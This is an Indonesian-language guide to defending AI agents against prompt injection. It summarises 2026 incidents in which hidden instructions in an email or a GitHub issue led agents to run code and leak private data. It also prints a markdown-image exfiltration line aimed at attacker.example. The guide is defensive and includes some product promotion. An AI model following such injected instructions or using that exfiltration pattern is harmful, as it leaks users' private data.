Prompt Injection: Pertahanan Praktis untuk Agent 2026

Prompt injection tidak bisa ditutup dengan satu filter atau satu model yang lebih patuh. Yang bisa dikerjakan adalah membatasi dampaknya lewat arsitektur: pisahkan instruksi dari data, hapus salah satu kaki dari kombinasi data privat, konten tak terpercaya, dan jalur keluar, lalu taruh approval manusia di aksi yang tidak bisa dibatalkan. OWASP menempatkan LLM01 Prompt Injection di urutan pertama Top 10 aplikasi LLM edisi 2025 (dirilis 18 November 2024). Di benchmark AgentDojo, CaMeL menyelesaikan 77 persen task dengan keamanan yang bisa dibuktikan, dibanding 84 persen pada sistem tanpa pertahanan.

TL;DR

• Prompt injection bukan bug yang di-patch, ini konsekuensi model yang tidak memisahkan instruksi dan data.
• Yang bikin berbahaya adalah kombinasi tiga akses: data privat, konten tak terpercaya, dan jalur kirim keluar.
• Filter kata kunci bukan security boundary, OWASP sendiri menyebutnya begitu. Pakai untuk logging, bukan izin aksi.
• Enam pola arsitektur sudah dipetakan di arXiv 2506.08837, masing-masing dengan harga utility yang berbeda.
• 2026 memberi contoh mahal: Manus dibajak satu email, GitLost bocor lewat satu issue, Flowise kena RCE CVSS 9,8.

Kenapa prompt injection masih jadi risiko nomor satu di 2026?

Karena model bahasa menerima instruksi dan data di kanal yang sama, dan belum ada cara yang terbukti membuat model selalu membedakan keduanya. OWASP tetap menaruh LLM01 Prompt Injection di peringkat pertama Top 10 untuk aplikasi LLM. Yang berubah di 2026 bukan akar masalahnya, tapi akibatnya: prompt injection berulang kali naik kelas jadi eksekusi kode dan pencurian data lintas akun.

• Manus, Oktober 2026. Salt Labs menunjukkan satu email biasa cukup untuk membajak agent. Tidak ada password dicuri, tidak ada link diklik, korban hanya menyuruh agent memeriksa inbox. Instruksi tersembunyi membuat agent menjalankan kode, lalu menjangkau akun email, cloud storage, dan repo kode yang tersambung. Guardrail internal Manus mendeteksi serangan itu, tapi setelah kode dieksekusi. Temuan sudah diperbaiki dan tidak bisa dieksploitasi lagi.
• GitLost, Juli 2026. Noma Labs menemukan celah di GitHub Agentic Workflows: penyerang tanpa autentikasi cukup membuat issue di repo publik milik organisasi, lalu agent menarik data dari repo privat organisasi yang sama. Ini indirect prompt injection klasik, instruksinya ada di konten yang dibaca agent, bukan di perintah user.
• Flowise dan Semantic Kernel. ZDI-26-634 mencatat RCE tanpa autentikasi di kelas CSV_Agents Flowise dengan CVSS 9,8, akarnya input tak terpercaya yang dirangkai jadi prompt LLM. CVE-2026-26030 di Semantic Kernel Python SDK (CVSS 9,9) juga berujung RCE lewat filter InMemoryVectorStore, diperbaiki di versi 1.39.4.

Polanya sama di tiga kasus berbeda: modelnya tidak dibobol dengan cara mistis. Ada jalur aksi yang terbuka, dan instruksi yang cukup untuk memakai jalur itu.

Apa itu lethal trifecta dan kenapa jadi checklist pertama?

Lethal trifecta adalah tiga akses yang kalau ada bersamaan membuat agent bisa dipakai mencuri data: akses ke data privat, paparan konten yang tidak dipercaya, dan kemampuan mengirim data keluar. Simon Willison merumuskannya pada 16 Juni 2025, dan sampai 2026 rumusan itu masih jadi tes paling murah sebelum menulis kode pertahanan.

Cara pakainya sederhana: untuk setiap workflow, tulis tiga kolom, lalu coba hapus satu. Agent yang membaca email pelanggan dan merangkum link dari web tidak boleh punya tool kirim email, posting, atau request HTTP bebas. Kalau produknya memang butuh ketiganya, pecah jadi dua agent: satu membaca dan meringkas, satu mengeksekusi dengan daftar aksi tertutup.

Yang sering lolos dari checklist: gambar markdown dan link yang dirender otomatis. Client yang memuat ![](https://attacker.example/?data=...) adalah jalur keluar, walaupun agent tidak pernah memanggil tool network. Matikan render otomatis untuk konten yang berasal dari model, atau lewatkan semua URL lewat proxy allowlist.

Pola arsitektur mana yang benar-benar menahan serangan?

Paper “Design Patterns for Securing LLM Agents against Prompt Injections” (Juni 2025) merangkum enam pola, masing-masing dengan trade-off utility yang berbeda:

Pola                  Yang ditahan                        Biaya
Action-Selector       hanya aksi dari daftar tertutup     fleksibilitas hilang
Plan-Then-Execute     data tak boleh mengubah rencana     rencana kaku
LLM Map-Reduce        data diproses terpisah per item     rekonsiliasi hasil
Dual LLM              data tak pernah pegang tool         dua model, lebih mahal
Code-Then-Execute     alur dikunci sebelum data masuk     butuh sandbox
Context-Minimization  permukaan serangan menyusut         konteks bisa kurang

Untuk agent kecil, kombinasi paling masuk akal: Plan-Then-Execute plus Dual LLM. Model pertama hanya melihat pertanyaan user yang tepercaya dan menyusun rencana. Model kedua membaca data tak terpercaya dan hanya boleh mengembalikan ringkasan terstruktur, tanpa akses tool. Rencana dari model pertama yang menentukan aksi, jadi instruksi jahat di dalam email atau halaman web tidak bisa membelokkan alur.

Kalau butuh jaminan lebih kuat, CaMeL memisahkan control flow dan data flow secara eksplisit, lalu menegakkan policy capability saat tool dipanggil. Hasilnya di AgentDojo: 77 persen task selesai dengan keamanan yang bisa dibuktikan, dibanding 84 persen tanpa pertahanan. Keamanan itu ada harganya, sekitar 7 poin utility, dan itu angka yang jujur untuk dibawa ke klien sebelum menjual klaim “agent aman”.

Ada juga lapisan yang lebih murah: spotlighting. Penelitian spotlighting menunjukkan penandaan provenance pada data, misalnya membungkus konten dengan delimiter dan menandai sumbernya, menurunkan attack success rate dari di atas 50 persen jadi di bawah 2 persen pada eksperimen GPT-family. Tapi ini mitigasi berbasis prompt, bukan batas keamanan. Model yang sama masih bisa dibujuk oleh serangan yang belum ada di test set.

Apakah model yang lebih patuh bisa menggantikan arsitektur?

Tidak. Instruction hierarchy dan model yang lebih disiplin menaikkan biaya serangan, tapi tidak menghapus kelas serangannya. OWASP Cheat Sheet untuk pencegahan prompt injection menyatakannya tegas: input screening bukan security boundary, karena LLM tidak menegakkan batas antara instruksi dan data di dalam prompt. Filter kata kunci tetap berguna untuk logging, rate limit, dan sinyal awal, bukan untuk mengizinkan aksi berbahaya.

Konsekuensi praktisnya: keputusan izin harus diambil di kode, bukan di prompt. Tool call yang mengirim uang, menghapus data, mengubah DNS, atau deploy wajib melewati policy engine yang deterministik. Model mengajukan permintaan, bukan menjalankannya sendiri.

Untuk eksperimen model, akses API murah tetap penting. Kalau lo butuh jalur cepat ke model Qwen untuk menguji classifier dan pola prompt, Qwen AI landing page Alibaba Cloud menyediakan kuota awal, dan NgodeAI menyediakan gateway satu kunci untuk beberapa model, jadi test pertahanan tidak perlu banyak akun.

Bagaimana urutan hardening untuk agent yang sudah jalan?

Dari yang paling murah dan paling berdampak:

1. Inventaris tool dan permission. Tandai setiap tool: read-only, write, atau irreversible. Tool yang tidak dipakai minggu lalu dicabut.
2. Hapus satu kaki trifecta per workflow. Ini biasanya menurunkan risiko paling besar dengan perubahan kode paling kecil.
3. Beri label trust di prompt. System instruction, pertanyaan user, dan output tool harus punya penanda sumber. Output tool tidak pernah boleh diperlakukan sebagai instruksi.
4. Batasi egress. Allowlist domain, matikan render gambar otomatis, dan blokir request keluar dari sandbox kecuali lewat proxy.
5. Approval manusia untuk aksi irreversible. Bukan karena manusia selalu benar, tapi karena aksi yang tidak bisa dibatalkan butuh jeda.
6. Kredensial per tool, bukan per agent. Kasus Manus menunjukkan token integrasi yang menumpuk di environment memperbesar blast radius. Beri token paling sempit yang cukup.
7. Isolasi eksekusi. Container, filesystem read-only, timeout, dan batas memori. Kalau agent bisa menjalankan kode, anggap kode itu berbahaya sampai terbukti sebaliknya.
8. Log setiap tool call dengan sumber inputnya. Tanpa log, lo tidak bisa menjawab “instruksi mana yang memicu aksi ini” saat insiden.
9. Uji dengan benchmark, bukan perasaan. AgentDojo menyediakan 97 task realistis dan 629 security test case. Jalankan sebelum dan sesudah hardening, catat attack success rate dan penurunan utility.

Kalau langkah 1 sampai 4 sudah jalan, serangan termahal, yaitu eksekusi kode dan eksfiltrasi, biasanya sudah kehilangan jalur. Sisanya soal disiplin operasional: rotasi kredensial, review tool baru, dan mengulang test setiap kali menambah integrasi.

Bagaimana mengukur klaim “agent kami aman”?

Ukur tiga angka dan laporkan bersamaan: attack success rate pada test set sendiri, task completion rate, dan jumlah aksi yang butuh approval manusia. Angka keamanan tanpa utility menyesatkan, karena agent yang menolak semua task memang aman tapi tidak berguna. Angka utility tanpa attack success rate juga kosong, karena tidak ada yang diuji.

Praktik yang sehat: simpan test set serangan yang pernah gagal, tambahkan setiap kali ada insiden atau temuan red team, lalu jalankan sebagai regression test di CI. Prompt injection bukan bug yang selesai sekali patch, jadi yang diuji adalah apakah pertahanan lama masih menahan serangan baru.

Rekomendasi Tools & Layanan

• OpenCrabs untuk contoh runtime agent dengan approval policy, allowlist tool, dan log tool call. Repo: github.com/adolfousier/opencrabs.
• OWASP LLM01 dan Cheat Sheet Prompt Injection untuk daftar mitigasi beserta batasannya.
• AgentDojo untuk benchmark serangan dan pertahanan, bisa dijalankan di CI.
• Alibaba Cloud kalau butuh compute terpisah untuk sandbox agent atau red team otomatis: ECS generasi Intel terbaru bisa jadi host terisolasi, dan halaman benefits merangkum kredit untuk eksperimen.

FAQ

Apakah prompt injection bisa dicegah 100 persen?
Tidak. Belum ada model atau filter yang terbukti menutup seluruh kelas serangan ini. Yang bisa dikerjakan adalah membatasi dampak lewat arsitektur dan izin aksi, lalu menguji ulang setiap kali menambah integrasi baru.

Apakah filter kata kunci cukup sebagai pertahanan?
Tidak. OWASP menyebut input screening bukan security boundary karena penyerang bisa memparafrase, memakai bahasa lain, atau encoding. Filter berguna untuk logging dan rate limit, bukan untuk mengizinkan aksi.

Berapa penurunan utility kalau memakai CaMeL?
Di AgentDojo, CaMeL menyelesaikan 77 persen task dengan keamanan yang bisa dibuktikan, dibanding 84 persen tanpa pertahanan. Selisihnya sekitar 7 poin persen, dan itu harga yang wajar untuk agent yang memegang data sensitif.

Apakah MCP aman dipakai?
Spesifikasi MCP memuat security best practices untuk confused deputy, token passthrough, SSRF, dan session hijacking. Itu panduan implementasi, jadi keamanan server dan izin tool tetap tanggung jawab lo.

Apakah agent read-only bebas risiko?
Lebih rendah, bukan nol. Data masih bisa keluar lewat output, gambar yang dirender, atau tool baca yang punya efek samping. Tetap batasi egress dan ukuran output.

Kesimpulan

Pertahanan prompt injection di 2026 bukan soal mencari model yang kebal, karena model itu belum ada. Yang terbukti bekerja adalah mengurangi apa yang bisa dilakukan agent setelah instruksi jahat masuk: rencana yang dikunci sebelum data tak terpercaya dibaca, tool dengan izin paling sempit, approval untuk aksi irreversible, dan log yang cukup untuk menjawab pertanyaan saat insiden. Mulai dari lethal trifecta, ukur dengan test set sendiri, dan perlakukan setiap integrasi baru sebagai permukaan serangan baru.